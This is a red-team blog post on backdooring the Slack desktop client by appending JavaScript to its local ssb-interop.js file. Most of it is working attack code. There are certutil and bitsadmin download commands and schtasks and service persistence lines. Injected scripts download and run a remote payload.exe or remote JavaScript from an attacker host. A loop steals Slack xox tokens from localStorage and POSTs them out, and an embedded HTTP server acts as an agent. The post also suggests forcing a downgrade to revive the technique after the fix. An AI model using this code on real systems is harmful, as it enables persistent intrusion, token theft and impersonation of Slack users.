Achieving persistence in Slack through local file injection

As of version 4.0.0 of the Slack client, this mechanism is no longer viable. It does however look like Slack keep the previous release. This means you can force Slack to revert to the previous version e.g. 3.4.3 by deleting the app-4.0.0 folder. Slack will stay at this version until it is updated again.


Gaining access and achieving remote access or persistence is generally one of the aims of a Red Team campaign. Generally at some point you’ll be in front of a target’s computer and you’ll want to get your agent up and running. Living off the land is generally a good approach and there are plenty of ways to achieve file download and persistence on Windows. The problem is, these methods are well known and often monitored.

The usual suspects

certutil.exe -urlcache -split -f "https://evil.hacker.domain.local/payload.exe" payload.exe

or

bitsadmin.exe /transfer payload /download /priority high "https://evil.hacker.domain.local/payload.exe" payload.exe

And then achieve persistence by creating a scheduled task or a windows service

schtasks /create /SC weekly /D MON /TN payload /TR c:\windows\system32\payload.exe /ST 09:00:00

or

sc create start=auto binPath=C:\windows\system32\payload.exe DisplayName="Payload Service"

But what if there was a different way?

The Slack ssb-interop.js file is not verified before it’s read and executed. Through it you can achieve process execution and persistence.

C:\Users\<username>\AppData\Local\slack\app-<version>\resources\app.asar.unpacked\src\static\ssb-interop.js

First, to enable to us to debug and triage any issues we need to enable the developer tools with in the slack client (electron). We can do this by setting the following ‘environment variable and restarting the slack client. This will enable ‘right click > Inspect’ functionality and allow you to launch the developer tools

SLACK_DEVELOPER_MENU=true

To hijack the ssb-interop.js file and allow us to execute code, all we need to do is open it in your editor of choice and append our code. To spawn a process when slack is launched or the UI is refreshed, simply reference the child_processmodule and use the spawn method.

document.addEventListener("DOMContentLoaded", function () {
  const { spawn } = require('child_process');

  const subprocess = spawn('notepad.exe', [], {
    detached: true,
    stdio: 'ignore'
  });

  subprocess.unref();
});

Now when we launch or reload Slack we get our very own notepad.exe process!

Slack pop calc

Since we have Slack launching notepad.exe let’s see what else we can get it to do! Ideally we don’t want to just launch a process, we want to be able to download and execute our own. To do this, we need to reference a few more packages, helpfully included with electron or the slack client.

  • child_process.spawn
    Allows us to spawn the process in a non-blocking way
  • s_extra
    Access to the file system so we can save our file to disk
  • path
    Used to format file paths correctly
document.addEventListener("DOMContentLoaded", function () {
  const { spawn } = require('child_process');
  const fs = require('fs-extra');
  const path = require('path');

  const fileName = 'notepad.exe';
  const localPath = path.join(process.cwd(), fileName);
  const remoteUri = 'https://evil.hacker.domain.local/payload.exe';

  let saveAndLaunch = function(download) {
    fs.writeFile(localPath, download);  
    
    const subprocess = spawn(localPath, [], {
      detached: true,
      stdio: 'ignore'
    });

    subprocess.unref();
  };
  
  const response = fetch(remoteUri, { })
    .then(res => res.buffer())
    .then(body => saveAndLaunch(body));    
});

Now that we have our download and persistence code, we need to configure our web server so that the the Slack client doesn’t reject the requests due to CORS. Below is an example web.config file for IIS and a .htaccess file for Apache. Wildcard requests will be rejected, so we need to know in advance what our targets slack sub-domain is.

IIS web.config file

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
  <system.webServer>
    <httpProtocol>
      <customHeaders>
        <add name="Access-Control-Allow-Origin" value="https://<your target domain>.slack.com" />
        <add name="Access-Control-Allow-Methods" value="GET, PUT, POST, DELETE" />
        <add name="Access-Control-Allow-Credentials" value="true" />
      </customHeaders>
    </httpProtocol>    
  </system.webServer>
  <location path="payload.exe">
    <system.webServer>
      <staticContent>
      <clientCache cacheControlMode="DisableCache" />
      </staticContent>
    </system.webServer>
  </location>
</configuration>

Apache .htaccess file

Header Set Access-Control-Allow-Origin "https://<your target domain>.slack.com"
Header Set Access-Control-Allow-Methods" value="GET, PUT, POST, DELETE"
Header Set Access-Control-Allow-Credentials value="true"

Excellent! Now we can reliably have our payload downloaded and executed!

But wait! There’s more!

Maybe we want to do something else, or we don’t like the fact that we have a binary on disk. Maybe we could live with just script access.

document.addEventListener("DOMContentLoaded", function () {
  const { webFrame } = require('electron')
  const https = require("https");

  const remoteUri = 'https://evil.hacker.domain.local/payload.js';

  let execute = function(script) {
    webFrame.executeJavaScript(script)    
  };
  
  const response = fetch(remoteUri, { })
    .then(res => res.text())
    .then(body => execute(body));    
});

Here instead of streaming the response using buffer() we use text() and pass it to our execute function. This executes the payload in the Slack client context.

Now we’ve managed to inject our javascript payload within the Slack client we can do everything above and more! So what else can we do?

We’re now running within the Slack client, what does it have that we might want? Maybe the user’s Slack tokens? That would give us the ability to see what messages they’re receiving at a later date elsewhere. We could even send messages as them to other employees! Let’s try and find the information we need.

The Slack client stores information in the cookie and in localStorage, while the cookie would be interesting let’s stick with localStorage.

Slack tokens all start with xox so straight away we can see several different tokens. Another key of interest is one ending in _static_translations it has another token so let’s take that as well!


for (var i = 0; i < localStorage.length; i++){
  let key = localStorage.key(i);
  if(key.endsWith('static_translations')) {
    fetch('https://evil.hacker.domain.local', { method: 'POST', body: JSON.parse(localStorage.getItem(key)).data.args.token });
  } else if(key.startsWith('xox')){
    fetch('https://evil.hacker.domain.local', { method: 'POST', body: key });
  }
}

In the above script we’ve now been able to grab the Slack tokens and post them back to our server! So now we have 2 different types of persistence. We have the ability to download and execute any kind of payload we like, and we can check up on our target using their stolen tokens! I’d call that a win.

In Conclusion

Ideally this shouldn’t be possible, Slack should not have been loading anything that’s sitting on disk. Thankfully, they seem to have fixed this. Now the only way to do this, is by extracting the .asar file, modifying the new ssb-interop.bundle.js file and repackaging it

Bonus Points

Embedding a http server inside the Slack client for use as a proxy or as an agent


document.addEventListener("DOMContentLoaded", function () {
  const http = require('http');
  const url = require('url');
  const { spawnSync } = require('child_process');

  const port = 7000;
  const contentType = { "Content-Type": "text/plain" };
  const httpVerb = {
    GET: "GET",
    POST: "POST"
  };
  const httpCode = {
    Success: 200,
    NotFound: 404
  };

  const handlers = {
    GET: {
      '/': function (request, response, uri) {
        response.writeHead(httpCode.Success, contentType);
      },
      '/do-something': function (request, response, uri) {        
      }
    },
    POST: {
      '/': function (request, response, uri) {

        var body = "";
        request.on("data", function (chunk) {
          body += chunk;
        });

        request.on("end", function () {
          response.writeHead(httpCode.Success, contentType);
          response.end(body);
        });
      }
    }
  };

  const server = http.createServer((function (request, response) {
    var requestUri = url.parse(request.url, true);

    if ((!handlers.hasOwnProperty(request.method)) || (!handlers[request.method].hasOwnProperty(requestUri.pathname))) {
      response.writeHead(httpCode.NotFound, contentType);
    } else {
      handlers[request.method][requestUri.pathname](request, response, requestUri);
    }
    response.end();
  }));
  server.listen(port);
});